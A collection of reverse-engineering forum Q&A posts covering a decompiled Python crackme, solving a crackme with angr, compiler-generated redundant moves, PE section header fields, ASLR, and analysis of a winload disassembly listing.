2020-08-24T14:57:45.750
<p>I decompiled a pyc file with uncompyle6, and this is the result:</p> <pre><code># uncompyle6 version 3.7.3 # Python bytecode 3.6 (3379) # Decompiled from: Python 3.6.9 (default, Aug 24 2020, 10:24:35) # [GCC 9.3.0] # Embedded file name: /dev/null/dev/null/dev/null/dev/null/crackme.py # Compiled at: 2020-06-30 20:00:00 # Size of source mod 2**32: 545 bytes import base64 from zlib import decompress as ᥤ if __name__ == '__main__': input_ = input('Enter your password: ') password = base64.b64encode(input_.encode()) Þåçѡӧґд = (b'x\xde\xad\xbe\xef^\x0b\xf6\xf5\r\nv\xf6\xf0\xa9\x0e\xa8,\xc90\xc8\x8bO\x8a,1\x8eO6H1\x8e7,\xf6+\x89/6N.-J\xad\x05\x00\xfc\xe3\rh').replace(b'\xde\xad\xbe\xef', b'') if base64.b64decode(password) == ᥤ(Þåçѡӧґд): print('The flag is', input_) else: print('Incorrect flag! Try reading my code…') # okay decompiling /home/kali/jscu/reversing1/crackme.pyc </code></pre> <p>Clearly, the second password variable is gibberish, and I can't make much of the contents of that variable either. What could I try to make sense of this?</p>
Python decompilation seems to return gibberish (partly)
|python|
<p>Looking at your solution, and your spoiler of the intended flag, it looks like you are halfway there (literally).</p> <p>angr is solving every other character and matching half of the flag, as if the flag is being treaded as a wide character string/utf16. I modified your script slightly to have a 20 character string, with every other byte null, ending in a newline, and angr successfully found the flag.</p> <p>There are lots of other ways to do this with Angr, but this seemed close to how you were originally using it.</p> <p>Modified Angr script:</p> <pre><code>import angr import claripy strlen = 20 base_addr = 0x00000000 flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(strlen)] flag = claripy.Concat(*flag_chars) proj = angr.Project(&quot;./d4rkfl0w-Crackme-4&quot;, main_opts={'base_addr': base_addr}) state = proj.factory.full_init_state(args=[&quot;./d4rkfl0w-Crackme-4&quot;], add_options=angr.options.unicorn, stdin=flag) # The script functions the same with or without this # Presumably symbolic stdin handles storing the flag # in memory for us # state.memory.store(state.regs.rbp-0x8, flag) # It seems like the program is reading in widechars/utf16 # this code will constrain every other byte to be printable, # with zero bytes in between zero_char = False for k in flag_chars[:-2]: if not zero_char: state.solver.add(k &gt; 0x20) state.solver.add(k &lt; 0x7e) else: state.solver.add(k == 0x0) zero_char = not zero_char # Flag ends in widechar newline (not strictly needed) state.solver.add(flag_chars[-2] == 0xa) state.solver.add(flag_chars[-1] == 0x00) sm = proj.factory.simulation_manager(state) sm.run() for de in sm.deadended: print(de.posix.dumps(0), de.posix.dumps(1)) print(&quot;UTF16 flag: %s&quot; % str(de.posix.dumps(0), encoding='utf=16')) ~ </code></pre> <p>Truncated Output:</p> <blockquote class="spoiler"> <p> b'U\x006\x00-\x00:\x00Y\x00L\x00.\x00!\x00+\x00\n\x00' b'\nPlease enter the password: \nSorry that is incorrect.\n' UTF16 flag: U6-:YL.!+<br /> b'U\x006\x00-\x00:\x00Y\x00L\x00.\x00&quot;\x00+\x00\n\x00' b&quot;\nPlease enter the password: \nThat's CORRECT, Well Done.\n&quot; UTF16 flag: U6-:YL.&quot;+</p> </blockquote>
25738
2020-08-24T23:08:18.483
<p>I'm new to reverse engineering and I've just recently learned about <code>angr</code>, a framework that uses symbolic execution to get the input for a given output. I'm trying to complete a <a href="https://crackmes.one/crackme/5e0fa43b33c5d419aa01351e" rel="nofollow noreferrer">crackme</a> using <code>angr</code>. My code so far is:</p> <pre><code>import angr import claripy strlen = 10 base_addr = 0x00000000 flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(strlen)] flag = claripy.Concat(*flag_chars) proj = angr.Project(&quot;./d4rkfl0w-Crackme-4&quot;, main_opts={'base_addr': base_addr}) state = proj.factory.full_init_state(args=[&quot;./d4rkfl0w-Crackme-4&quot;], add_options=angr.options.unicorn, stdin=flag) state.memory.store(state.regs.rbp-0x8, flag) for k in flag_chars: state.solver.add(k &gt; 0x20) state.solver.add(k &lt; 0x7e) sm = proj.factory.simulation_manager(state) sm.run() for de in sm.deadended: print(de.posix.dumps(0), de.posix.dumps(1)) </code></pre> <p>The output is:</p> <pre><code>&gt; python3 test.py WARNING | 2020-08-24 18:55:24,821 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior. WARNING | 2020-08-24 18:55:24,822 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2020-08-24 18:55:24,822 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state WARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages. WARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 64 unconstrained bytes referenced from 0x38e0d0 (strlen+0x0 in libc.so.6 (0x8e0d0)) b'((0$0(0(0(' b'\nPlease enter the password: \nSorry that is incorrect.\n' b'0(0$0(:(((' b'\nPlease enter the password: \nSorry that is incorrect.\n' b'U($&gt;&quot;(:($(' b'\nPlease enter the password: \nSorry that is incorrect.\n' b'U(6&gt;$(:(0(' b'\nPlease enter the password: \nSorry that is incorrect.\n' b'U(6&gt;-(:($(' b'\nPlease enter the password: \nSorry that is incorrect.\n' b'U(6$-(:(Y(' b'\nPlease enter the password: \nSorry that is incorrect.\n' </code></pre> <p>This should be a relatively easy crackme (I had solved it with static analysis already and I want to get the flag a different way). Am I doing something wrong in the code?</p> <p>The actual flag should be:</p> <blockquote class="spoiler"> <p> U6-:YL.&quot;+</p> </blockquote>
Basic `angr` framework question- is something wrong with my solver?
|crackme|angr|
<p>Here is a small angr script that can do so:</p> <pre><code>proj = angr.Project('...path...') state = proj.factory.blank_state(addr=0x0804EA9E) simulation = proj.factory.simgr(state) ret = simulation.explore(find=0x0804EAA3) print(ret.found[0].regs.ecx) </code></pre> <p>Between the addresses <code>0x0804EA9E</code> to <code>0x0804EAA3</code> I've got <code>mov ecx, 0Ah</code> so I get: <code>&lt;BV32 0xa&gt;</code> from the print.</p> <p>I know its not much, but as I've said, I'm new. And hopefully this simple script will help others.</p> <p>Really good resources to start with:</p> <ul> <li><a href="https://docs.angr.io/core-concepts/states#state-presets" rel="nofollow noreferrer">https://docs.angr.io/core-concepts/states#state-presets</a></li> <li><a href="https://blog.notso.pro/2019-03-20-angr-introduction-part0/" rel="nofollow noreferrer">https://blog.notso.pro/2019-03-20-angr-introduction-part0/</a></li> </ul>
25745
2020-08-25T19:23:00.337
<p>I'm currently using radare2 in order to construct a simple CFG, each block/node in that graph is composed of one or more assembly instructions, I wish to estimate the value of specific register or stack position as best as I can.</p> <p>Few examples:</p> <p><strong>Example 1:</strong></p> <pre><code>xor rax, rax inc rax ; Given these instructions, solve(rax) =&gt; 1 </code></pre> <p><strong>Example 2:</strong></p> <pre><code>mov rcx, 3 mov rbx, rcx mov rax, rbx ; Given the instructions above, solve(rax) =&gt; 3 </code></pre> <p><strong>Example 3:</strong></p> <pre><code>mov rbx, rcx mov rax, rbx ; Given the instructions above, solve(rax) =&gt; Unknown </code></pre> <p><strong>Example 4:</strong></p> <pre><code>mov rdx, 1 shl rdx, 2 add rdx, 3 mov [rsp], rdx ; Given the instructions above, solve([rsp]) =&gt; 7 </code></pre> <p>I'm looking for a simple Python example to start with, which either takes opcodes directly or and address and evaluates/solve for specific register/stack position.</p> <p>I've already looked into some symbolic execution examples, which looks like what I need, but I'm pretty new to this so a simple working example would really help.</p>
Using angr/radare2 to estimate values given chunks of assembly
|radare2|python|angr|
<p>It looks like that the binary has been compiled without optimization. With optimization enabled the redundant instructions would have been removed. A similar example is shown below.</p> <p>Compiler: <a href="https://godbolt.org/z/Ye9WK9" rel="nofollow noreferrer">GCC 7.5 for x86-64 on Compiler Explorer</a></p> <h3>Original code</h3> <pre><code>#include &lt;math.h&gt; float calculate(float v) { return sinf(v); } </code></pre> <h3>No optimization (-O0)</h3> <pre><code>calculate(float): push rbp mov rbp, rsp sub rsp, 16 movss DWORD PTR [rbp-4], xmm0 mov eax, DWORD PTR [rbp-4] mov DWORD PTR [rbp-8], eax movss xmm0, DWORD PTR [rbp-8] call sinf leave ret </code></pre> <h3>-O1</h3> <pre><code>calculate(float): sub rsp, 8 call sinf add rsp, 8 ret </code></pre> <h3>-O2/-O3</h3> <pre><code>calculate(float): jmp sinf </code></pre> <p>As you can see above, the redundant moves are generated only when optimizations aren't enabled. With higher levels, it progressively leads to smaller code.</p>
25749
2020-08-26T09:43:36.093
<p>I'm reverse engineering a C++ binary using IDA, and there's one function that I don't quite understand.</p> <pre><code>x = dword ptr -8 var_4 = dword ptr -4 push rbp movss rbp, rsp sub rsp, 10h movss [rbp+var_4], xmm0 mov eax, [rbp+var_4] mov [rbp+x], eax movss xmm0, [rbp+x] call _sinf leave retn </code></pre> <p>The eax register is overwritten right away, and I can't imagine that eax was loaded to pass as an argument to &quot;sinf&quot;. What's the use of this? Or is it just a weird compiler optimization?</p>
What is the use of moving a variable 3 times only to pass it back to the original register, with no calculations in between?
|ida|gcc|
<p>As i Commented it seems the tool You used is misusing a Name<br /> The <strong><a href="https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_section_header" rel="nofollow noreferrer">Section Header is Documented</a></strong> Thus</p> <p>As Can be Seen The Second Member of the Structure is an Union Misc</p> <pre><code>union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; </code></pre> <p>So Your tool Should probably be using it as Misc.PhysicalAddress<br /> or it should simply use it as VirtualSize as PhysicalAddress is not relevent to usermode Executables ( it used to be used in obj files )</p> <p>ollydbg section display</p> <pre><code>013001F0 2E 74 65 78&gt;ASCII &quot;.text&quot; ; SECTION 013001F8 8C6D0100 DD 00016D8C ; VirtualSize = 16D8C (93580.) 013001FC 00100000 DD 00001000 ; VirtualAddress = 1000 01300200 006E0100 DD 00016E00 ; SizeOfRawData = 16E00 (93696.) 01300204 00040000 DD 00000400 ; PointerToRawData = 400 01300208 00000000 DD 00000000 ; PointerToRelocations = 0 0130020C 00000000 DD 00000000 ; PointerToLineNumbers = 0 01300210 0000 DW 0000 ; NumberOfRelocations = 0 01300212 0000 DW 0000 ; NumberOfLineNumbers = 0 01300214 20000060 DD 60000020 ; Characteristics = CODE|EXECUTE|READ </code></pre> <p>windbg section Display</p> <pre><code>SECTION HEADER #1 .text name 16D8C virtual size 1000 virtual address 16E00 size of raw data 400 file pointer to raw data 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 60000020 flags Code (no align specified) Execute Read </code></pre> <p>Dumpbin or visualStudio Linker Display of Section</p> <pre><code>:\&gt;dumpbin /section:.text cdb.exe Microsoft (R) COFF/PE Dumper Version 14.16.27035.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file cdb.exe File Type: EXECUTABLE IMAGE SECTION HEADER #1 .text name 16D8C virtual size 1000 virtual address (00401000 to 00417D8B) 16E00 size of raw data 400 file pointer to raw data (00000400 to 000171FF) 0 file pointer to relocation table 0 file pointer to line numbers 0 number of relocations 0 number of line numbers 60000020 flags Code Execute Read Summary 17000 .text </code></pre> <p>this field's usage according to Matt Pietrek peering inside pe article <a href="https://bytepointer.com/resources/pietrek_peering_inside_pe.htm" rel="nofollow noreferrer">copy</a><br /> (microsoft simply dumped all contents into some gutter and only promotes windows 10 so i couldn't locate the original of msdn magazines)</p> <pre><code>union { DWORD PhysicalAddress DWORD VirtualSize } Misc; This field has different meanings, in EXEs or OBJs. In an EXE, it holds the actual size of the code or data. This is the size before rounding up to the nearest file alignment multiple. The SizeOfRawData field (seems a bit of a misnomer) later on in the structure holds the rounded up value. The Borland linker reverses the meaning of these two fields and appears to be correct. For OBJ files, this field indicates the physical address of the section. The first section starts at address 0. To find the physical address in an OBJ file of the next section, add the SizeOfRawData value to the physical address of the current section. </code></pre>
25752
2020-08-26T13:16:49.060
<p>What is physical address on a Pe file? I had search on the microsoft website article about pe files and don't have found anything.</p> <p><a href="https://i.stack.imgur.com/3QcXS.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3QcXS.png" alt="Pe Reader" /></a></p>
What is physical address on a pe reader?
|disassembly|windows|assembly|ollydbg|pe|
<p>I believe what makes the difference is <code>ASLR - Adress Space Layout Randomization</code> - <a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization" rel="nofollow noreferrer">Read about it here</a> - so basically it's just a layer of security protection.</p> <p>It's indeed possible to load two different processes to the same virtual address base - the virtual address abstraction makes it possible.</p> <p>The loading base address of a process will most likely be kept the same until your next reboot.</p>
25755
2020-08-27T01:20:05.850
<p>So I'm trying to understand how a process is assigned a base address once its loaded into memory. If I understand correctly each process has its own virtual address space, and each virtual address is mapped to physical memory locations by the mmu and each process believes they have the virtual range 0x00000000 through 0x7FFFFFFF for themselves in the x86 architechture.</p> <p>Lets say I have program 1 .exe that is loaded at the virtual address 0x121000 <a href="https://i.stack.imgur.com/ohJzC.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ohJzC.png" alt="enter image description here" /></a></p> <p>and lets say I have another program called program 2.exe that is loaded in the virtual address 0xF71000</p> <p><a href="https://i.stack.imgur.com/qraK6.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/qraK6.png" alt="enter image description here" /></a></p> <p>If both programs have their own virtual address space why aren't they loaded at the same virtual address by default? and is it possible for the programs to load at a different virtual address if they are executed again or will program 1.exe always be loaded at address 0x121000 every time its executed?</p>
How are processes assigned a virtual base address
|windows|virtual-memory|
<p>You can see in the line:</p> <p><code>(*(void (__fastcall **)(_QWORD, __int64))(v9 + v8 + 16))(*(_QWORD *)(v9 + v8 + 8), v4);</code></p> <p>That you have an indirect function call - a function that is called by a value of a variable, and not by a direct address.</p> <p>Your function has the following signature:</p> <p><code>void your_func(QWORD, __int64)</code></p> <p>And the function itself comes from the <code>v9 + v8 + 16</code> variables.</p> <p>So <code>v9 + v8 + 8</code> is the first parameter of the function, and <code>v4</code> is the second parameter.</p>
25756
2020-08-27T02:27:23.180
<p>Im trying to recognise where is my targeted function <code>int64 __fastcall sub_1400CE4F0(__int64 a1, const char *a2)</code>executed. When stepping through this function, after <code>return</code> it's redirecting me here:</p> <pre><code>if ( *(_QWORD *)(v9 + v8 + 8) || *(_QWORD *)(v9 + v8 + 16) ) (*(void (__fastcall **)(_QWORD, __int64))(v9 + v8 + 16))(*(_QWORD *)(v9 + v8 + 8), v4); if ( v5 == 0xFFFFFFF ) //Here.. v5 = *((_DWORD *)v2 + 9); </code></pre> <ol> <li>Where is this function executed? Am I in the right place?</li> <li>Is it hidden in those cast's? How can I understand them? (Maybe it's hidden in those casts?)</li> </ol>
Cant recognise where is my targeted function executed
|ida|x86-64|game-hacking|
<p>The function's Disassembly Does Not Match the prototype<br /> This function takes only 3 arguments which can be ascertained with the first/multiple failure Exits</p> <pre><code>if(!foo) { return false;} 00893c49 85c0 test eax,eax &lt;&lt;&lt;&lt; if(!foo) 00893c4b 0f845d010000 je winload!CmpFindNLSData+0x19e (00893dae) | 00893dae 32c0 xor al,al &lt;&lt;&lt;&lt;&lt;&lt;&lt; bool False 00893db0 5f pop edi 00893db1 5e pop esi 00893db2 5b pop ebx 00893db3 8be5 mov esp,ebp 00893db5 5d pop ebp 00893db6 c20c00 ret 0Ch &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; pops 3 arguments </code></pre> <p>we can also confirm the arguments Access in x86 by looking for ebp+ patterns (beware FPO )</p> <p>copy pasting the disassembly from your query and grepping for ebp+8<br /> yields only access to (ebp + [0x8,0xc,0x10]) so this function definitely takes only 3 arguments or 5 if this is _fastcall (ecx,edx)</p> <pre><code>:\&gt;wc -l nlsdatadis.txt 350 nlsdatadis.txt :\&gt;grep ebp+ nlsdatadis.txt 00893d80 8b5d08 mov ebx,dword ptr [ebp+8] &lt;&lt;&lt; 00893ec8 8b5d08 mov ebx,dword ptr [ebp+8] 00893ed1 8b7d0c mov edi,dword ptr [ebp+0Ch] &lt;&lt;&lt; 00893efa 894508 mov dword ptr [ebp+8],eax 00893f0d 8b4508 mov eax,dword ptr [ebp+8] 00893f2a 8b5508 mov edx,dword ptr [ebp+8] 00893f80 8b4d10 mov ecx,dword ptr [ebp+10h] &lt;&lt;&lt;&lt; </code></pre> <p>we can infer that the last/3rd argument is a PUNICODE_STRING by looking at the Disassembly that Accesses [ebp+10]</p> <pre><code>00893f80 8b4d10 mov ecx,dword ptr [ebp+10h] 00893f83 b001 mov al,1 &lt;&lt;&lt;&lt;&lt;&lt;&lt; bool TRUE 00893f85 6a14 push 14h &lt;&lt;&lt;&lt; str length 00893f87 5a pop edx 00893f88 c741044c1a8e00 mov dword ptr [ecx+4],offset winload!`string' (008e1a4c) &lt;&lt;&lt; pointer to Buffer 00893f8f 66895102 mov word ptr [ecx+2],dx &lt;&lt; (max len) 00893f93 668911 mov word ptr [ecx],dx &lt;&lt; (len) 00893f96 e915feffff jmp winload!CmpFindNLSData+0x1a0 (00893db0) &lt;&lt; again jumps to Exit that is described above with True as Return) </code></pre> <p>2nd Argument is also PUNICODE_STRING (ebp+0c,edi) ist Argument is Some function pointer or the this call convention's this</p> <p>as ebp+8 is modified several times by mov</p>
25761
2020-08-28T08:55:24.760
<p>I have the following disassembly of winload!CmpFindNlsData function and I need to check the output parameters of this function. P.S.: <code>CmpFindNLSData(int a1&lt;eax&gt;, int a2, PUNICODE_STRING pAnsiFileName, PUNICODE_STRING pOemFileName, PUNICODE_STRING pustrDefaultLanguage, PUNICODE_STRING pustrOemHalFontName)</code> could be the declaration of this function. This is my first attempt at reverse engineering, could someone please guide through the steps I could take up to define the algorithm of this function.</p> <pre><code>winload!CmpFindNLSData: 00893c10 8bff mov edi,edi 00893c12 55 push ebp 00893c13 8bec mov ebp,esp 00893c15 83ec40 sub esp,40h 00893c18 53 push ebx 00893c19 56 push esi 00893c1a 57 push edi 00893c1b 8d45e0 lea eax,[ebp-20h] 00893c1e 8bf1 mov esi,ecx 00893c20 50 push eax 00893c21 33db xor ebx,ebx 00893c23 8975ec mov dword ptr [ebp-14h],esi 00893c26 83cfff or edi,0FFFFFFFFh 00893c29 895dcc mov dword ptr [ebp-34h],ebx 00893c2c 52 push edx 00893c2d 56 push esi 00893c2e 897dc8 mov dword ptr [ebp-38h],edi 00893c31 897dd0 mov dword ptr [ebp-30h],edi 00893c34 895dd4 mov dword ptr [ebp-2Ch],ebx 00893c37 897de0 mov dword ptr [ebp-20h],edi 00893c3a 895de4 mov dword ptr [ebp-1Ch],ebx 00893c3d 897dc0 mov dword ptr [ebp-40h],edi 00893c40 895dc4 mov dword ptr [ebp-3Ch],ebx 00893c43 895de8 mov dword ptr [ebp-18h],ebx 00893c46 ff5604 call dword ptr [esi+4] 00893c49 85c0 test eax,eax 00893c4b 0f845d010000 je winload!CmpFindNLSData+0x19e (00893dae) 00893c51 8d4df4 lea ecx,[ebp-0Ch] 00893c54 8bd0 mov edx,eax 00893c56 51 push ecx 00893c57 68b8208e00 push offset winload!CmpControlString (008e20b8) 00893c5c 8bce mov ecx,esi 00893c5e e869510000 call winload!CmpFindSubKeyByNameWithStatus (00898dcc) 00893c63 8d45e0 lea eax,[ebp-20h] 00893c66 50 push eax 00893c67 56 push esi 00893c68 ff5608 call dword ptr [esi+8] 00893c6b 397df4 cmp dword ptr [ebp-0Ch],edi 00893c6e 0f843a010000 je winload!CmpFindNLSData+0x19e (00893dae) 00893c74 8d45e0 lea eax,[ebp-20h] 00893c77 50 push eax 00893c78 ff75f4 push dword ptr [ebp-0Ch] 00893c7b 56 push esi 00893c7c ff5604 call dword ptr [esi+4] 00893c7f 85c0 test eax,eax 00893c81 0f8427010000 je winload!CmpFindNLSData+0x19e (00893dae) 00893c87 8d4df4 lea ecx,[ebp-0Ch] 00893c8a 8bd0 mov edx,eax 00893c8c 51 push ecx 00893c8d 68f8208e00 push offset winload!CmpNlsString (008e20f8) 00893c92 8bce mov ecx,esi 00893c94 e833510000 call winload!CmpFindSubKeyByNameWithStatus (00898dcc) 00893c99 8d45e0 lea eax,[ebp-20h] 00893c9c 50 push eax 00893c9d 56 push esi 00893c9e ff5608 call dword ptr [esi+8] 00893ca1 397df4 cmp dword ptr [ebp-0Ch],edi 00893ca4 0f8404010000 je winload!CmpFindNLSData+0x19e (00893dae) 00893caa 8d45e0 lea eax,[ebp-20h] 00893cad 50 push eax 00893cae ff75f4 push dword ptr [ebp-0Ch] 00893cb1 56 push esi 00893cb2 ff5604 call dword ptr [esi+4] 00893cb5 85c0 test eax,eax 00893cb7 0f84f1000000 je winload!CmpFindNLSData+0x19e (00893dae) 00893cbd 8d4df4 lea ecx,[ebp-0Ch] 00893cc0 8bd0 mov edx,eax 00893cc2 51 push ecx 00893cc3 6808218e00 push offset winload!CmpCodePageString (008e2108) 00893cc8 8bce mov ecx,esi 00893cca e8fd500000 call winload!CmpFindSubKeyByNameWithStatus (00898dcc) 00893ccf 8d45e0 lea eax,[ebp-20h] 00893cd2 50 push eax 00893cd3 56 push esi 00893cd4 ff5608 call dword ptr [esi+8] 00893cd7 397df4 cmp dword ptr [ebp-0Ch],edi 00893cda 0f84ce000000 je winload!CmpFindNLSData+0x19e (00893dae) 00893ce0 8d45e0 lea eax,[ebp-20h] 00893ce3 50 push eax 00893ce4 ff75f4 push dword ptr [ebp-0Ch] 00893ce7 56 push esi 00893ce8 ff5604 call dword ptr [esi+4] 00893ceb 85c0 test eax,eax 00893ced 0f84bb000000 je winload!CmpFindNLSData+0x19e (00893dae) 00893cf3 6870228e00 push offset winload!CmpAcpString (008e2270) 00893cf8 8bd0 mov edx,eax 00893cfa 8bce mov ecx,esi 00893cfc e885330000 call winload!CmpFindValueByName (00897086) 00893d01 8bf8 mov edi,eax 00893d03 8d45e0 lea eax,[ebp-20h] 00893d06 50 push eax 00893d07 56 push esi 00893d08 ff5608 call dword ptr [esi+8] 00893d0b 83ffff cmp edi,0FFFFFFFFh 00893d0e 0f849a000000 je winload!CmpFindNLSData+0x19e (00893dae) 00893d14 8d45d0 lea eax,[ebp-30h] 00893d17 50 push eax 00893d18 57 push edi 00893d19 56 push esi 00893d1a ff5604 call dword ptr [esi+4] 00893d1d 85c0 test eax,eax 00893d1f 0f8489000000 je winload!CmpFindNLSData+0x19e (00893dae) 00893d25 8d4dc8 lea ecx,[ebp-38h] 00893d28 8bd7 mov edx,edi 00893d2a 51 push ecx 00893d2b 8d4df8 lea ecx,[ebp-8] 00893d2e 51 push ecx 00893d2f 50 push eax 00893d30 8bce mov ecx,esi 00893d32 e8c7340000 call winload!CmpValueToData (008971fe) 00893d37 8bf8 mov edi,eax 00893d39 8d45d0 lea eax,[ebp-30h] 00893d3c 50 push eax 00893d3d 56 push esi 00893d3e 897ddc mov dword ptr [ebp-24h],edi 00893d41 ff5608 call dword ptr [esi+8] 00893d44 85ff test edi,edi 00893d46 7466 je winload!CmpFindNLSData+0x19e (00893dae) 00893d48 8b55f8 mov edx,dword ptr [ebp-8] 00893d4b 33c9 xor ecx,ecx 00893d4d 33c0 xor eax,eax 00893d4f 668955da mov word ptr [ebp-26h],dx 00893d53 66894dd8 mov word ptr [ebp-28h],cx 00893d57 c745f002000000 mov dword ptr [ebp-10h],2 00893d5e 663bc2 cmp ax,dx 00893d61 731d jae winload!CmpFindNLSData+0x170 (00893d80) 00893d63 8b75f0 mov esi,dword ptr [ebp-10h] 00893d66 0fb7c1 movzx eax,cx 00893d69 d1e8 shr eax,1 00893d6b 66391c47 cmp word ptr [edi+eax*2],bx 00893d6f 740c je winload!CmpFindNLSData+0x16d (00893d7d) 00893d71 6603ce add cx,si 00893d74 66894dd8 mov word ptr [ebp-28h],cx 00893d78 663bca cmp cx,dx 00893d7b 72e9 jb winload!CmpFindNLSData+0x156 (00893d66) 00893d7d 8b75ec mov esi,dword ptr [ebp-14h] 00893d80 8b5d08 mov ebx,dword ptr [ebp+8] 00893d83 6a36 push 36h 00893d85 58 pop eax 00893d86 663907 cmp word ptr [edi],ax 00893d89 750c jne winload!CmpFindNLSData+0x187 (00893d97) 00893d8b c745e801000000 mov dword ptr [ebp-18h],1 00893d92 e992000000 jmp winload!CmpFindNLSData+0x219 (00893e29) 00893d97 8d45e0 lea eax,[ebp-20h] 00893d9a 50 push eax 00893d9b ff75f4 push dword ptr [ebp-0Ch] 00893d9e 56 push esi 00893d9f ff5604 call dword ptr [esi+4] 00893da2 85c0 test eax,eax 00893da4 7513 jne winload!CmpFindNLSData+0x1a9 (00893db9) 00893da6 8d45c8 lea eax,[ebp-38h] 00893da9 50 push eax 00893daa 56 push esi 00893dab ff5608 call dword ptr [esi+8] 00893dae 32c0 xor al,al 00893db0 5f pop edi 00893db1 5e pop esi 00893db2 5b pop ebx 00893db3 8be5 mov esp,ebp 00893db5 5d pop ebp 00893db6 c20c00 ret 0Ch 00893db9 8d4dd8 lea ecx,[ebp-28h] 00893dbc 8bd0 mov edx,eax 00893dbe 51 push ecx 00893dbf 8bce mov ecx,esi 00893dc1 e8c0320000 call winload!CmpFindValueByName (00897086) 00893dc6 8bf8 mov edi,eax 00893dc8 8d45c8 lea eax,[ebp-38h] 00893dcb 50 push eax 00893dcc 56 push esi 00893dcd ff5608 call dword ptr [esi+8] 00893dd0 33c0 xor eax,eax 00893dd2 8945dc mov dword ptr [ebp-24h],eax 00893dd5 8d45e0 lea eax,[ebp-20h] 00893dd8 50 push eax 00893dd9 56 push esi 00893dda ff5608 call dword ptr [esi+8] 00893ddd 83ffff cmp edi,0FFFFFFFFh 00893de0 74cc je winload!CmpFindNLSData+0x19e (00893dae) 00893de2 8d45d0 lea eax,[ebp-30h] 00893de5 50 push eax 00893de6 57 push edi 00893de7 56 push esi 00893de8 ff5604 call dword ptr [esi+4] 00893deb 85c0 test eax,eax 00893ded 74bf je winload!CmpFindNLSData+0x19e (00893dae) 00893def 8d4dc0 lea ecx,[ebp-40h] 00893df2 8bd7 mov edx,edi 00893df4 51 push ecx 00893df5 8d4df8 lea ecx,[ebp-8] 00893df8 51 push ecx 00893df9 50 push eax 00893dfa 8bce mov ecx,esi 00893dfc e8fd330000 call winload!CmpValueToData (008971fe) 00893e01 894304 mov dword ptr [ebx+4],eax 00893e04 85c0 test eax,eax 00893e06 7408 je winload!CmpFindNLSData+0x200 (00893e10) 00893e08 8d45c0 lea eax,[ebp-40h] 00893e0b 50 push eax 00893e0c 56 push esi 00893e0d ff5608 call dword ptr [esi+8] 00893e10 8d45d0 lea eax,[ebp-30h] 00893e13 50 push eax 00893e14 56 push esi 00893e15 ff5608 call dword ptr [esi+8] 00893e18 33c0 xor eax,eax 00893e1a 394304 cmp dword ptr [ebx+4],eax 00893e1d 748f je winload!CmpFindNLSData+0x19e (00893dae) 00893e1f 8b45f8 mov eax,dword ptr [ebp-8] 00893e22 66894302 mov word ptr [ebx+2],ax 00893e26 668903 mov word ptr [ebx],ax 00893e29 8d45e0 lea eax,[ebp-20h] 00893e2c 50 push eax 00893e2d ff75f4 push dword ptr [ebp-0Ch] 00893e30 56 push esi 00893e31 ff5604 call dword ptr [esi+4] 00893e34 85c0 test eax,eax 00893e36 0f8472ffffff je winload!CmpFindNLSData+0x19e (00893dae) 00893e3c 6848228e00 push offset winload!CmpOemCpString (008e2248) 00893e41 8bd0 mov edx,eax 00893e43 8bce mov ecx,esi 00893e45 e83c320000 call winload!CmpFindValueByName (00897086) 00893e4a 8bf8 mov edi,eax 00893e4c 8d45e0 lea eax,[ebp-20h] 00893e4f 50 push eax 00893e50 56 push esi 00893e51 ff5608 call dword ptr [esi+8] 00893e54 83ffff cmp edi,0FFFFFFFFh 00893e57 0f8451ffffff je winload!CmpFindNLSData+0x19e (00893dae) 00893e5d 8d45d0 lea eax,[ebp-30h] 00893e60 50 push eax 00893e61 57 push edi 00893e62 56 push esi 00893e63 ff5604 call dword ptr [esi+4] 00893e66 85c0 test eax,eax 00893e68 0f8440ffffff je winload!CmpFindNLSData+0x19e (00893dae) 00893e6e 8d4dc8 lea ecx,[ebp-38h] 00893e71 8bd7 mov edx,edi 00893e73 51 push ecx 00893e74 8d4df8 lea ecx,[ebp-8] 00893e77 51 push ecx 00893e78 50 push eax 00893e79 8bce mov ecx,esi 00893e7b e87e330000 call winload!CmpValueToData (008971fe) 00893e80 8bf8 mov edi,eax 00893e82 8d45d0 lea eax,[ebp-30h] 00893e85 50 push eax 00893e86 56 push esi 00893e87 897ddc mov dword ptr [ebp-24h],edi 00893e8a ff5608 call dword ptr [esi+8] 00893e8d 85ff test edi,edi 00893e8f 0f8419ffffff je winload!CmpFindNLSData+0x19e (00893dae) 00893e95 8b55f8 mov edx,dword ptr [ebp-8] 00893e98 33c9 xor ecx,ecx 00893e9a 33c0 xor eax,eax 00893e9c 668955da mov word ptr [ebp-26h],dx 00893ea0 66894dd8 mov word ptr [ebp-28h],cx 00893ea4 663bc2 cmp ax,dx 00893ea7 7322 jae winload!CmpFindNLSData+0x2bb (00893ecb) 00893ea9 8b75f0 mov esi,dword ptr [ebp-10h] 00893eac 33db xor ebx,ebx 00893eae 0fb7c1 movzx eax,cx 00893eb1 d1e8 shr eax,1 00893eb3 66391c47 cmp word ptr [edi+eax*2],bx 00893eb7 740c je winload!CmpFindNLSData+0x2b5 (00893ec5) 00893eb9 6603ce add cx,si 00893ebc 66894dd8 mov word ptr [ebp-28h],cx 00893ec0 663bca cmp cx,dx 00893ec3 72e9 jb winload!CmpFindNLSData+0x29e (00893eae) 00893ec5 8b75ec mov esi,dword ptr [ebp-14h] 